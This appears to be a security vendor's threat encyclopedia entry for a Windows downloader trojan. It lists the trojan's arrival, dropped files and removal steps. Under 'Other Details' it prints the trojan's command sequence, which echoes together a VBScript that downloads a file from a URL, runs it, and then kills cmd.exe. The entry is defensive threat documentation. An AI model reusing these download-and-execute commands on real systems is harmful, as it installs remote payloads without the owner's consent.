Trojan.Win32.DLOADR.AUSUPY
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
Downloaded from the Internet, Dropped by other malware
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
73,216 bytes
DLL
No
24 May 2019
Connects to URLs/IPs, Downloads files
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
This malware arrives via the following means:
- As a payload executed by Worm.Win32.BLASQUI.A and TROJ_EQUATED.J on vulnerable 32-bit machines.
Installation
This Trojan drops and executes the following files:
- %ProgramData%\vbs.vbs - downloader script
(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- {URL specified by the malware Worm.Win32.BLASQUI.A}
It saves the files it downloads using the following names:
- %System Root%\Spread.exe
- %ProgramData%\Spread.exe
- %ProgramData%\VNC.EXE
(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)
Other Details
This Trojan does the following:
- It executes the following commands to create and execute the downloader script, and execute the downloaded file:
- echo on error resume next > %ProgramData%\vbs.vbs
- echo with wscript:if .arguments.count^<2 then .quit:end if >> %ProgramData%\vbs.vbs
- echo set aso=.createobject(\adodb.stream\"):set web=createobject(\"microsoft.xmlhttp\") >> %ProgramData%\vbs.vbs
- echo web.open \get\",.arguments(0),0:web.send:if web.status^>200 then quit >> %ProgramData%\vbs.vbs
- echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> %ProgramData%\vbs.vbs
- cscript %ProgramData%\vbs.vbs {URL} %ProgramData%\VNC.EXE
- %ProgramData%\VNC.EXE
- taskkill /f /im cmd.exe && exit
- The {URL} is specified by the malware Worm.Win32.BLASQUI.A
SOLUTION
9.850
15.138.02
28 May 2019
15.139.00
29 May 2019
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Remove malware/grayware files that dropped/downloaded Trojan.Win32.DLOADR.AUSUPY. (Note: Please skip this step if the threats listed below have already been removed.)
- Worm.Win32.BLASQUI.A
- TROJ_EQUATED.J
Step 4
Restart in Safe Mode
Step 5
Search and delete these files
- %ProgramData%\vbs.vbs
- %ProgramData%\Spread.exe
- %ProgramData%\VNC.EXE
- %System Root%\Spread.exe
Step 6
Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.Win32.DLOADR.AUSUPY. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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